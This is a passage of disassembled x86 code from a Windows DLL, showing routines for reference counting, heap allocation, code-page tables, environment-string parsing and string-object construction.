loc_69B18D99: ; CODE XREF: sub_69B18CB3+A40Bj
mov eax, dword_69B92984
mov dword_69B929C4, eax
mov esi, dword_69B92994
jmp short loc_69B18DC3
; ---------------------------------------------------------------------------
loc_69B18DAB: ; CODE XREF: sub_69B18CB3+A3j
mov byte ptr [esi+19h], 0
jmp short loc_69B18D75
; ---------------------------------------------------------------------------
loc_69B18DB1: ; CODE XREF: sub_69B18CB3+3Fj
; sub_69B18CB3+4Dj
cmp byte_69B929BD, 0
jnz loc_69B1E348
jmp loc_69B1E342
; ---------------------------------------------------------------------------
loc_69B18DC3: ; CODE XREF: sub_69B18CB3+F6j
; sub_69B18CB3+16Ej
mov [ebp-28h], esi
cmp esi, edi
jz loc_69B1E224
push dword_69B929E4
lea ecx, [ebp-30h]
call sub_69B18E23
cmp [esi+30h], edi
jz short loc_69B18E16
cmp esi, ebx
jnz loc_69B230C3
loc_69B18DE9: ; CODE XREF: sub_69B18CB3+A42Ej
mov byte ptr [esi+1Ah], 1
mov eax, [esi+3Ch]
mov [ebp-3Ch], eax
test byte ptr [ebp+8], 4
jz loc_69B230F8
cmp esi, ebx
jnz loc_69B230F8
loc_69B18E05: ; CODE XREF: sub_69B18CB3+A4ADj
; sub_69B18CB3+A4C2j
mov byte ptr [esi+1Ah], 0
cmp byte_69B92988, 0
jnz loc_69B2317A
loc_69B18E16: ; CODE XREF: sub_69B18CB3+12Cj
; sub_69B18CB3+A41Fj ...
lea ecx, [ebp-30h]
call sub_69B1900C
mov esi, [esi+14h]
jmp short loc_69B18DC3
sub_69B18CB3 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_69B18E23 proc near ; CODE XREF: sub_69B17DC6+17p
; sub_69B188DC+16p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
push esi
mov esi, ecx
mov [esi], eax
jnz short loc_69B18E36
loc_69B18E30: ; CODE XREF: sub_69B18E23+20j
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_69B18E36: ; CODE XREF: sub_69B18E23+Bj
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
mov ecx, [esi]
mov eax, [ecx]
call dword ptr [eax+0Ch]
jmp short loc_69B18E30
sub_69B18E23 endp
; =============== S U B R O U T I N E =======================================
sub_69B18E45 proc near ; CODE XREF: sub_69B7099E+5j
; .text:69B709B7j ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
add ecx, 4
call sub_69B18E54
retn 4
sub_69B18E45 endp
; =============== S U B R O U T I N E =======================================
sub_69B18E54 proc near ; CODE XREF: sub_69B18E45+7p
; sub_69B1F56C+7p ...
; FUNCTION CHUNK AT 69B256DF SIZE 0000000C BYTES
lea eax, [ecx+8]
mov ecx, [eax]
test cl, 4
jnz loc_69B256DF
push 8
push eax
call dword_69B9294C ; InterlockedExchangeAdd
add eax, 8
loc_69B18E6E: ; CODE XREF: sub_69B18E54+C892j
shr eax, 3
retn
sub_69B18E54 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B18E72 proc near ; CODE XREF: sub_69B458C9+5j
; DATA XREF: .text:69B1DF80o
var_10 = byte ptr -10h
arg_0 = dword ptr 8
; FUNCTION CHUNK AT 69B24169 SIZE 0000000A BYTES
push ebp
mov ebp, esp
sub esp, 10h
push edi
call dword_69B92948
mov edi, eax
test edi, edi
jz loc_69B24169
push esi
mov esi, [ebp+arg_0]
push dword ptr [esi+18h]
lea ecx, [ebp+var_10]
push edi
call sub_69B18B3B
lea ecx, [esi+0Ch]
call sub_69B19038
lea ecx, [ebp+var_10]
mov esi, eax
call sub_69B18EBA
push edi
call dword_69B92944
mov eax, esi
pop esi
loc_69B18EB5: ; CODE XREF: sub_69B18E72+B2FCj
pop edi
leave
retn 4
sub_69B18E72 endp
; =============== S U B R O U T I N E =======================================
sub_69B18EBA proc near ; CODE XREF: sub_69B18AE3+44p
; sub_69B18E72+34p ...
push esi
mov esi, ecx
mov ecx, [esi]
test ecx, ecx
jz short loc_69B18ED0
mov eax, [ecx]
call dword ptr [eax+18h]
mov eax, [esi]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B18ED0: ; CODE XREF: sub_69B18EBA+7j
lea ecx, [esi+4]
pop esi
jmp sub_69B1976C
sub_69B18EBA endp
; =============== S U B R O U T I N E =======================================
sub_69B18ED9 proc near ; CODE XREF: sub_69B3C888+A9p
; sub_69B3C888+189p
; DATA XREF: ...
; FUNCTION CHUNK AT 69B2341F SIZE 00000008 BYTES
push esi
mov esi, ecx
lea eax, [esi+14h]
push eax ; lpAddend
call ds:InterlockedDecrement ; InterlockedDecrement
cmp dword ptr [esi+24h], 0
jg loc_69B2341F
pop esi
retn
sub_69B18ED9 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B17135
loc_69B18EF2: ; CODE XREF: sub_69B17135+47j
mov esi, [eax+4]
mov [ebp-34h], esi
mov ecx, esi
call sub_69B18F5A
mov edi, eax
mov [ebp-38h], edi
cmp edi, 0FFFFFFFFh
jz loc_69B17182
test edi, 0FFFFFFF8h
jnz loc_69B17130
push edi
mov ecx, esi
call sub_69B18459
test eax, eax
jnz loc_69B17130
mov eax, [esi+0Ch]
cmp eax, dword_69B929A8
jz loc_69B17130
inc dword ptr [ebp-1Ch]
mov eax, [esi]
call dword ptr [eax+38h]
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+34h]
mov dword ptr [esi+4], 3
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+18h]
jmp loc_69B17182
; END OF FUNCTION CHUNK FOR sub_69B17135
; =============== S U B R O U T I N E =======================================
sub_69B18F5A proc near ; CODE XREF: sub_69B17135+1DC5p
; sub_69B1B480-49p ...
push 0FFFFFFFFh ; Value
add ecx, 4
push ecx ; Target
call ds:InterlockedExchange ; InterlockedExchange
retn
sub_69B18F5A endp
; =============== S U B R O U T I N E =======================================
sub_69B18F67 proc near ; CODE XREF: sub_69B192E9+C9p
; sub_69B19621+DEp ...
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 69B2345C SIZE 00000017 BYTES
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
cmp [esi+28h], edi
jz loc_69B2345C
push 0FFFFFFFFh ; dwMilliseconds
call sub_69B18F8A
mov [esi+28h], edi
loc_69B18F82: ; CODE XREF: sub_69B18F67+A507j
inc dword ptr [esi+2Ch]
pop edi
pop esi
retn 4
sub_69B18F67 endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_69B18F8A(DWORD dwMilliseconds)
sub_69B18F8A proc near ; CODE XREF: sub_69B1B1F3-9159p
; sub_69B18F67+13p ...
dwMilliseconds = dword ptr 4
; FUNCTION CHUNK AT 69B18FB2 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 69B233F7 SIZE 00000010 BYTES
push ebx
mov ebx, ds:InterlockedIncrement
push esi
mov esi, ecx
push edi
lea eax, [esi+10h]
push eax ; lpAddend
call ebx ; InterlockedIncrement
lea edi, [esi+14h]
push edi ; lpAddend
call ebx ; InterlockedIncrement
cmp dword ptr [edi], 1
jnz loc_69B233F7
loc_69B18FAA: ; CODE XREF: sub_69B18F8A+2Cj
mov al, 1
loc_69B18FAC: ; CODE XREF: sub_69B18F8A+2Aj
pop edi
pop esi
pop ebx
retn 4
sub_69B18F8A endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B18F8A
loc_69B18FB2: ; CODE XREF: sub_69B18F8A+A478j
test al, al
jz short loc_69B18FAC
jmp short loc_69B18FAA
; END OF FUNCTION CHUNK FOR sub_69B18F8A
; =============== S U B R O U T I N E =======================================
sub_69B18FB8 proc near ; CODE XREF: sub_69B192E9+E2p
; sub_69B19621+F7p ...
push 10h
push offset dword_69B19000
call sub_69B19C5C
mov esi, ecx
push dword ptr [esi+24h]
lea ecx, [ebp-1Ch]
call sub_69B18E23
and dword ptr [ebp-4], 0
push 1
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
mov ecx, esi
call sub_69B18A22
mov [ebp-20h], eax
loc_69B18FE7: ; CODE XREF: .text:69B240C2j
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-1Ch]
call sub_69B1900C
mov eax, [ebp-20h]
call sub_69B1853C
retn 8
sub_69B18FB8 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
dword_69B19000 dd 0FFFFFFFFh dd offset loc_69B240A9
dd offset loc_69B240B2
; =============== S U B R O U T I N E =======================================
sub_69B1900C proc near ; CODE XREF: sub_69B1992C-7B39p
; sub_69B17DC6+AEp ...
push esi
mov esi, ecx
mov ecx, [esi]
test ecx, ecx
jnz short loc_69B19017
loc_69B19015: ; CODE XREF: sub_69B1900C+1Bj
pop esi
retn
; ---------------------------------------------------------------------------
loc_69B19017: ; CODE XREF: sub_69B1900C+7j
mov eax, [ecx]
call dword ptr [eax+10h]
mov eax, [esi]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
and dword ptr [esi], 0
jmp short loc_69B19015
sub_69B1900C endp
; =============== S U B R O U T I N E =======================================
sub_69B19029 proc near ; CODE XREF: sub_69B709A8+5j
; .text:69B709C1j ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
add ecx, 4
call sub_69B19038
retn 4
sub_69B19029 endp
; =============== S U B R O U T I N E =======================================
sub_69B19038 proc near ; CODE XREF: sub_69B120B5+10j
; sub_69B18E72+2Ap ...
; FUNCTION CHUNK AT 69B1A875 SIZE 00000052 BYTES
; FUNCTION CHUNK AT 69B25746 SIZE 0000000A BYTES
push 24h
push offset dword_69B19060
call sub_69B19C5C
mov esi, ecx
call sub_69B1906C
mov [ebp-1Ch], eax
test eax, eax
jz loc_69B1A875
loc_69B19056: ; CODE XREF: sub_69B19038+188Aj
mov eax, [ebp-1Ch]
loc_69B19059: ; CODE XREF: sub_69B19038+C713j
call sub_69B1853C
retn
sub_69B19038 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
dword_69B19060 dd 0FFFFFFFFh dd offset sub_69B25750
dd offset sub_69B25759
; =============== S U B R O U T I N E =======================================
sub_69B1906C proc near ; CODE XREF: sub_69B19038+Ep
; sub_69B2E347+2Bp ...
; FUNCTION CHUNK AT 69B256EB SIZE 00000020 BYTES
push esi
lea esi, [ecx+8]
cmp dword ptr [esi], 8
jb loc_69B256EB
loc_69B19079: ; CODE XREF: sub_69B1906C+C690j
mov eax, [esi]
test al, 4
jnz loc_69B25701
push 0FFFFFFF8h
push esi
call dword_69B9294C ; InterlockedExchangeAdd
sub eax, 8
loc_69B1908F: ; CODE XREF: sub_69B1906C+C69Aj
shr eax, 3
pop esi
retn
sub_69B1906C endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B19621
loc_69B19094: ; CODE XREF: sub_69B19621+92j
push dword ptr [ebp+10h]
push 0
push dword ptr [ebp+0Ch]
loc_69B1909C: ; CODE XREF: sub_69B19621+A908j
call sub_69B190A9
mov [ebp-4Ch], eax
jmp loc_69B196CB
; END OF FUNCTION CHUNK FOR sub_69B19621
; =============== S U B R O U T I N E =======================================
sub_69B190A9 proc near ; CODE XREF: sub_69B19621:loc_69B1909Cp
; sub_69B309A0+7Ep ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_0]
push [esp+arg_8]
mov eax, [esp+4+arg_4]
lea eax, [ecx+eax*2]
push eax
call sub_69B190C1
retn 0Ch
sub_69B190A9 endp
; =============== S U B R O U T I N E =======================================
sub_69B190C1 proc near ; CODE XREF: sub_69B190A9+10p
; sub_69B192E9+95p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0
jz short loc_69B190CF
cmp [esp+arg_4], 0
jnz short sub_69B190D7
loc_69B190CF: ; CODE XREF: sub_69B190C1+5j
mov eax, offset off_69B1A5AC
retn 8
sub_69B190C1 endp
; =============== S U B R O U T I N E =======================================
sub_69B190D7 proc near ; CODE XREF: sub_69B190C1+Cj
; sub_69B1A587+12p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 69B23CAE SIZE 00000005 BYTES
push [esp+arg_4]
push 10h
call sub_69B17ED3
test eax, eax
pop ecx
pop ecx
jz loc_69B23CAE
mov ecx, eax
push ebx
push esi
mov ebx, ecx
call sub_69B19118
mov esi, [esp+8+arg_0]
test esi, esi
mov dword ptr [ebx], offset off_69B12210
jz short loc_69B19111
mov ecx, [esp+8+arg_4]
push edi
mov edi, [ebx+0Ch]
rep movsw
pop edi
loc_69B19111: ; CODE XREF: sub_69B190D7+2Cj
pop esi
mov eax, ebx
pop ebx
retn 8
sub_69B190D7 endp
; =============== S U B R O U T I N E =======================================
sub_69B19118 proc near ; CODE XREF: .text:69B14A55p
; sub_69B14D9C+3p ...
; FUNCTION CHUNK AT 69B23314 SIZE 0000000C BYTES
push esi
mov esi, ecx
call sub_69B1818F
mov dword ptr [esi], offset off_69B12188
push dwTlsIndex
call dword_69B92970
cmp dword ptr [eax+2Ch], 0
mov ecx, esi
push eax
jz loc_69B23314
call sub_69B19148
loc_69B19144: ; CODE XREF: sub_69B19118+A203j
mov eax, esi
pop esi
retn
sub_69B19118 endp
; =============== S U B R O U T I N E =======================================
sub_69B19148 proc near ; CODE XREF: sub_69B19118+27p
; sub_69B2DC24:loc_69B2DC50p
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 69B232F6 SIZE 0000001E BYTES
push esi
mov esi, [esp+4+arg_0]
lea eax, [esi+58h]
mov edx, [eax]
shl edx, 3
mov [ecx+4], edx
mov edx, [eax]
mov [esi+edx*4+5Ch], ecx
inc dword ptr [eax]
cmp dword ptr [eax], 100h
jz loc_69B232F6
loc_69B1916C: ; CODE XREF: sub_69B19148+A1BAj
; sub_69B19148+A1C7j
pop esi
retn 4
sub_69B19148 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B19189
loc_69B19170: ; CODE XREF: sub_69B19189+CDj
or byte_69B95DE1[eax], 20h
mov cl, [ebp+eax+var_314]
loc_69B1917E: ; CODE XREF: sub_69B19189+F0j
mov byte_69B95F00[eax], cl
jmp loc_69B19263
; END OF FUNCTION CHUNK FOR sub_69B19189
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B19189 proc near ; CODE XREF: sub_69B1D0A4:loc_69B1D118p
var_514 = word ptr -514h
var_314 = byte ptr -314h
var_214 = byte ptr -214h
var_114 = byte ptr -114h
CPInfo = _cpinfo ptr -14h
; FUNCTION CHUNK AT 69B19170 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 69B2510B SIZE 00000049 BYTES
push ebp
mov ebp, esp
sub esp, 514h
push esi
lea eax, [ebp+CPInfo]
push eax ; lpCPInfo
push CodePage ; CodePage
call ds:GetCPInfo ; GetCPInfo
cmp eax, 1
mov esi, 100h
jnz loc_69B2510B
xor eax, eax
loc_69B191B3: ; CODE XREF: sub_69B19189+34j
mov [ebp+eax+var_114], al
inc eax
cmp eax, esi
jb short loc_69B191B3
mov al, [ebp+CPInfo.LeadByte]
test al, al
mov [ebp+var_114], 20h
jnz sub_69B250D0
loc_69B191D1: ; CODE XREF: sub_69B250D0+36j
push 0
push dword_69B95DB8
lea eax, [ebp+var_514]
push CodePage
push eax
push esi
lea eax, [ebp+var_114]
push eax
push 1
call sub_69B1ECB1
push 0
push CodePage
lea eax, [ebp+var_214]
push esi
push eax
push esi
lea eax, [ebp+var_114]
push eax
push esi
push dword_69B95DB8
call sub_69B1AEC4
push 0
push CodePage
lea eax, [ebp+var_314]
push esi
push eax
push esi
lea eax, [ebp+var_114]
push eax
push 200h
push dword_69B95DB8
call sub_69B1AEC4
add esp, 5Ch
xor eax, eax
loc_69B19246: ; CODE XREF: sub_69B19189+DDj
mov cx, [ebp+eax*2+var_514]
test cl, 1
jnz short loc_69B1926B
test cl, 2
jnz loc_69B19170
mov byte_69B95F00[eax], 0
loc_69B19263: ; CODE XREF: sub_69B19189-5j
inc eax
cmp eax, esi
jb short loc_69B19246
loc_69B19268: ; CODE XREF: sub_69B19189+BFC6j
pop esi
leave
retn
; ---------------------------------------------------------------------------
loc_69B1926B: ; CODE XREF: sub_69B19189+C8j
or byte_69B95DE1[eax], 10h
mov cl, [ebp+eax+var_214]
jmp loc_69B1917E
sub_69B19189 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B19E6E
loc_69B1927E: ; CODE XREF: sub_69B19E6E-BB9j
; sub_69B19E6E+174j
cmp esi, 1Eh
jge loc_69B1D6E4
mov ebx, off_69B92188[esi*4]
mov [ebp-6Ch], ebx
push esi
mov ecx, edi
call sub_69B1A954
mov [ebp-70h], eax
push dword_69B95A64
push ebx
call sub_69B192B7
push eax
mov ecx, [ebp-70h]
call sub_69B199CC
inc esi
mov [ebp-60h], esi
jmp short loc_69B1927E
; END OF FUNCTION CHUNK FOR sub_69B19E6E
; =============== S U B R O U T I N E =======================================
sub_69B192B7 proc near ; CODE XREF: sub_69B19E6E-BCBp
; sub_69B1992C+C47p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push 0
push 0
push [esp+0Ch+arg_0]
call sub_69B192CB
retn 8
sub_69B192B7 endp
; =============== S U B R O U T I N E =======================================
sub_69B192CB proc near ; CODE XREF: sub_69B11E05+13p
; sub_69B192B7+Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push [esp+arg_8]
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_69B19621
push [esp+arg_C]
push eax
call sub_69B192E9
retn 10h
sub_69B192CB endp
; =============== S U B R O U T I N E =======================================
sub_69B192E9 proc near ; CODE XREF: sub_69B1889C+2Fp
; sub_69B192CB+16p ...
; FUNCTION CHUNK AT 69B11D78 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 69B23E19 SIZE 0000001A BYTES
push 54h
push offset dword_69B19410
call sub_69B19C5C
and dword ptr [ebp-1Ch], 0
push dwTlsIndex
call dword_69B92970
mov [ebp-20h], eax
test eax, eax
jz short loc_69B1931A
mov ecx, [eax+460h]
test ecx, ecx
jnz near ptr loc_69B23DA2+1
loc_69B1931A: ; CODE XREF: sub_69B192E9+21j
xor esi, esi
inc esi
push esi
lea ecx, [ebp-44h]
call sub_69B11D3B
and dword ptr [ebp-4], 0
mov edi, [ebp+8]
mov [ebp-4Ch], edi
mov ebx, [ebp+0Ch]
mov [ebp-48h], ebx
push dword ptr [ebp-20h]
mov ecx, dword_69B929D4
call sub_69B18BC5
mov [ebp-1Ch], esi
push 4
lea eax, [ebp-4Ch]
push eax
mov ecx, dword_69B95A14
call sub_69B1941C
mov esi, eax
mov [ebp-50h], esi
test esi, esi
jnz loc_69B11D78
loc_69B19365: ; CODE XREF: sub_69B192E9-7569j
mov ecx, dword_69B929D4
mov eax, [ecx]
call dword ptr [eax+18h]
and dword ptr [ebp-1Ch], 0
test esi, esi
jnz short loc_69B193F7
push 4
lea eax, [ebp-4Ch]
push eax
call sub_69B190C1
mov [ebp-54h], eax
push 20h
call sub_69B17EF3
mov [ebp-58h], eax
test eax, eax
jz loc_69B11D85
push dword ptr [ebp-54h]
push ebx
push edi
mov ecx, eax
call sub_69B17285
loc_69B193A4: ; CODE XREF: sub_69B192E9-7562j
mov edi, eax
mov [ebp-50h], edi
push dword ptr [ebp-20h]
mov ecx, dword_69B929D4
call sub_69B18F67
mov dword ptr [ebp-1Ch], 2
mov ecx, dword_69B95A14
mov [ebp-5Ch], ecx
push edi
push dword ptr [ebp-54h]
call sub_69B18FB8
mov esi, eax
mov [ebp-60h], esi
mov eax, dword_69B929A8
mov [esi+0Ch], eax
mov ecx, dword_69B929D4
mov eax, [ecx]
call dword ptr [eax+10h]
and dword ptr [ebp-1Ch], 0
cmp esi, edi
jnz loc_69B23E19
loc_69B193F4: ; CODE XREF: sub_69B192E9+AB45j
mov [ebp-50h], esi
loc_69B193F7: ; CODE XREF: sub_69B192E9+8Dj
; sub_69B23E3C+47j
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-44h]
call sub_69B1976C
mov eax, [ebp-50h]
loc_69B19406: ; CODE XREF: sub_69B23D98+7Cj
call sub_69B1853C
retn 8
sub_69B192E9 endp
; ---------------------------------------------------------------------------
align 10h
dword_69B19410 dd 0FFFFFFFFh dd offset sub_69B23E33
dd offset sub_69B23E3C
; =============== S U B R O U T I N E =======================================
sub_69B1941C proc near ; CODE XREF: sub_69B19621-7904p
; sub_69B192E9+6Ap ...
; FUNCTION CHUNK AT 69B11D8C SIZE 0000000B BYTES
push 14h
push offset dword_69B19480
call sub_69B19C5C
mov esi, ecx
push dword ptr [esi+24h]
lea ecx, [ebp-1Ch]
call sub_69B1986C
and dword ptr [ebp-4], 0
lea eax, [ebp-20h]
push eax
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_69B17D68
push eax
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
mov ecx, esi
call sub_69B19888
cmp eax, 1
jz loc_69B11D8C
xor eax, eax
loc_69B19461: ; CODE XREF: sub_69B1941C-768Aj
mov [ebp-24h], eax
loc_69B19464: ; CODE XREF: .text:69B240E0j
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-1Ch]
call sub_69B1948C
mov eax, [ebp-24h]
call sub_69B1853C
retn 8
sub_69B1941C endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
dword_69B19480 dd 0FFFFFFFFh dd offset loc_69B240C7
dd offset loc_69B240D0
; =============== S U B R O U T I N E =======================================
sub_69B1948C proc near ; CODE XREF: sub_69B1941C+4Fp
; sub_69B1980A+46p ...
; FUNCTION CHUNK AT 69B233E2 SIZE 00000015 BYTES
push esi
mov esi, ecx
mov ecx, [esi]
test ecx, ecx
jnz loc_69B233E2
loc_69B19499: ; CODE XREF: sub_69B1948C+9F66j
pop esi
retn
sub_69B1948C endp
; =============== S U B R O U T I N E =======================================
sub_69B1949B proc near ; CODE XREF: sub_69B1B625+DFp
; FUNCTION CHUNK AT 69B1D1D7 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 69B24EBB SIZE 00000031 BYTES
push edi
xor edi, edi
cmp dword_69B96128, edi
jz loc_69B24EBB
loc_69B194AA: ; CODE XREF: sub_69B1949B+BA25j
mov eax, dword_69B95AF8
cmp eax, edi
jz loc_69B24EC5
push esi
loc_69B194B8: ; CODE XREF: sub_69B1949B+42j
mov cl, [eax]
test cl, cl
jz short loc_69B194DF
cmp cl, 3Dh
jz short loc_69B194C4
inc edi
loc_69B194C4: ; CODE XREF: sub_69B1949B+26j
mov ecx, eax
lea esi, [ecx+1]
nop
nop
nop
nop
nop
nop
nop
loc_69B194D0: ; CODE XREF: sub_69B1949B+3Aj
mov dl, [ecx]
inc ecx
test dl, dl
jnz short loc_69B194D0
sub ecx, esi
lea eax, [eax+ecx+1]
jmp short loc_69B194B8
; ---------------------------------------------------------------------------
loc_69B194DF: ; CODE XREF: sub_69B1949B+21j
push ebx
lea ecx, ds:4[edi*4]
call sub_69B19560
mov ebx, eax
test ebx, ebx
mov dword_69B95B18, ebx
jz loc_69B24ECA
mov esi, dword_69B95AF8
jmp short loc_69B1954F
; ---------------------------------------------------------------------------
align 10h
loc_69B19510: ; CODE XREF: sub_69B1949B+7Aj
; sub_69B1949B+C3j
mov dl, [eax]
inc eax
test dl, dl
jnz short loc_69B19510
sub eax, edi
cmp cl, 3Dh
lea edi, [eax+1]
jz short loc_69B1954D
mov ecx, edi
call sub_69B19560
test eax, eax
mov [ebx], eax
jz loc_69B24ED2
mov ecx, esi
mov edx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
loc_69B19540: ; CODE XREF: sub_69B1949B+ADj
mov al, [ecx]
inc ecx
mov [edx], al
inc edx
test al, al
jnz short loc_69B19540
add ebx, 4
loc_69B1954D: ; CODE XREF: sub_69B1949B+84j
add esi, edi
loc_69B1954F: ; CODE XREF: sub_69B1949B+67j
mov cl, [esi]
test cl, cl
jz loc_69B1D1D7
mov eax, esi
lea edi, [eax+1]
jmp short loc_69B19510
sub_69B1949B endp
; =============== S U B R O U T I N E =======================================
sub_69B19560 proc near ; CODE XREF: sub_69B112C0+7Fp
; sub_69B11383+24p ...
; FUNCTION CHUNK AT 69B1957E SIZE 00000009 BYTES
; FUNCTION CHUNK AT 69B24D69 SIZE 00000020 BYTES
push ebx
push esi
push edi
mov ebx, ecx
xor esi, esi
loc_69B19567: ; CODE XREF: sub_69B19560+23j
push ebx ; dwBytes
call sub_69B19587
mov edi, eax
test edi, edi
pop ecx
jz loc_69B24D69
loc_69B19578: ; CODE XREF: sub_69B19560+25j
mov eax, edi
pop edi
pop esi
pop ebx
retn
sub_69B19560 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B19560
loc_69B1957E: ; CODE XREF: sub_69B19560+B81Bj
; sub_69B19560+B824j
cmp eax, 0FFFFFFFFh
mov esi, eax
jnz short loc_69B19567
jmp short loc_69B19578
; END OF FUNCTION CHUNK FOR sub_69B19560
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_69B19587(DWORD dwBytes)
sub_69B19587 proc near ; CODE XREF: sub_69B19560+8p
dwBytes = dword ptr 4
; FUNCTION CHUNK AT 69B195D3 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 69B2529B SIZE 0000003E BYTES
push ebx
mov ebx, [esp+4+dwBytes]
push esi
xor esi, esi
cmp ebx, 0FFFFFFE0h
ja short loc_69B195C9
push ebp
mov ebp, ds:HeapAlloc
push edi
loc_69B1959C: ; CODE XREF: sub_69B19587+4Fj
mov eax, dword_69B96004
cmp eax, 1
mov edi, ebx
jnz loc_69B2529B
test ebx, ebx
jz short loc_69B195CE
mov eax, ebx
loc_69B195B2: ; CODE XREF: sub_69B19587+4Aj
push eax ; dwBytes
loc_69B195B3: ; CODE XREF: sub_69B19587+BD36j
push 0 ; dwFlags
push dword_69B96000 ; hHeap
call ebp ; HeapAlloc
loc_69B195BD: ; CODE XREF: sub_69B19587+BD22j
mov esi, eax
test esi, esi
jz loc_69B252C2
loc_69B195C7: ; CODE XREF: sub_69B19587+51j
; sub_69B19587+BD41j
pop edi
pop ebp
loc_69B195C9: ; CODE XREF: sub_69B19587+Bj
mov eax, esi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_69B195CE: ; CODE XREF: sub_69B19587+27j
xor eax, eax
inc eax
jmp short loc_69B195B2
sub_69B19587 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B19587
loc_69B195D3: ; CODE XREF: sub_69B19587+BD4Dj
test eax, eax
pop ecx
jnz short loc_69B1959C
jmp short loc_69B195C7
; END OF FUNCTION CHUNK FOR sub_69B19587
; =============== S U B R O U T I N E =======================================
sub_69B195DA proc near ; CODE XREF: sub_69B1889Cp
xor eax, eax
cmp dword_69B95A20, eax
jnz short locret_69B19610
push eax
push eax
push 1F4h
call sub_69B1A768
mov dword_69B95A20, eax
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
push offset off_69B1A5AC
call sub_69B19611
push eax ; Value
mov ecx, offset dword_69B95A18 ; Target
call sub_69B188DC
locret_69B19610: ; CODE XREF: sub_69B195DA+8j
retn
sub_69B195DA endp
; =============== S U B R O U T I N E =======================================
sub_69B19611 proc near ; CODE XREF: sub_69B195DA+26p
; sub_69B19E6E+49p ...
arg_0 = dword ptr 4
push 0
push 0
push [esp+8+arg_0]
call sub_69B19621
retn 4
sub_69B19611 endp
; =============== S U B R O U T I N E =======================================
sub_69B19621 proc near ; CODE XREF: sub_69B192CB+Cp
; sub_69B19611+8p ...
; FUNCTION CHUNK AT 69B11D17 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 69B19094 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 69B23E93 SIZE 000000B5 BYTES
push 4Ch
push offset dword_69B19760
call sub_69B19C5C
and dword ptr [ebp-1Ch], 0
push dwTlsIndex
call dword_69B92970
mov esi, eax
mov [ebp-20h], esi
test esi, esi
jz short loc_69B19654
mov ecx, [esi+45Ch]
test ecx, ecx
jnz loc_69B23E93
loc_69B19654: ; CODE XREF: sub_69B19621+23j
xor ebx, ebx
inc ebx
push ebx
lea ecx, [ebp-38h]
call sub_69B11D3B
and dword ptr [ebp-4], 0
push esi
mov ecx, dword_69B929D0
call sub_69B18BC5
mov [ebp-1Ch], ebx
mov edi, [ebp+8]
mov ecx, dword_69B95A20
test edi, edi
jz loc_69B11D17
mov [ebp-3Ch], ecx
push edi
call sub_69B1980A
loc_69B1968D: ; CODE XREF: sub_69B19621-78FFj
mov esi, eax
mov [ebp-40h], esi
test esi, esi
jnz loc_69B11D27
loc_69B1969A: ; CODE XREF: sub_69B19621-78F2j
mov ecx, dword_69B929D0
mov eax, [ecx]
call dword ptr [eax+18h]
and dword ptr [ebp-1Ch], 0
test esi, esi
jnz loc_69B19744
test edi, edi
jz loc_69B19094
mov ecx, edi
call sub_69B1B42A
cmp eax, ebx
jnz loc_69B23F1A
mov [ebp-4Ch], edi
loc_69B196CB: ; CODE XREF: sub_69B19621-57Dj
push 1Ch
call sub_69B17EF3
mov [ebp-50h], eax
test eax, eax
jz loc_69B11D34
mov esi, [ebp-4Ch]
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+20h]
push eax
push esi
mov ecx, [ebp-50h]
call sub_69B180B6
loc_69B196F1: ; CODE XREF: sub_69B19621-78EBj
mov edi, eax
mov [ebp-40h], edi
push dword ptr [ebp-20h]
mov ecx, dword_69B929D0
call sub_69B18F67
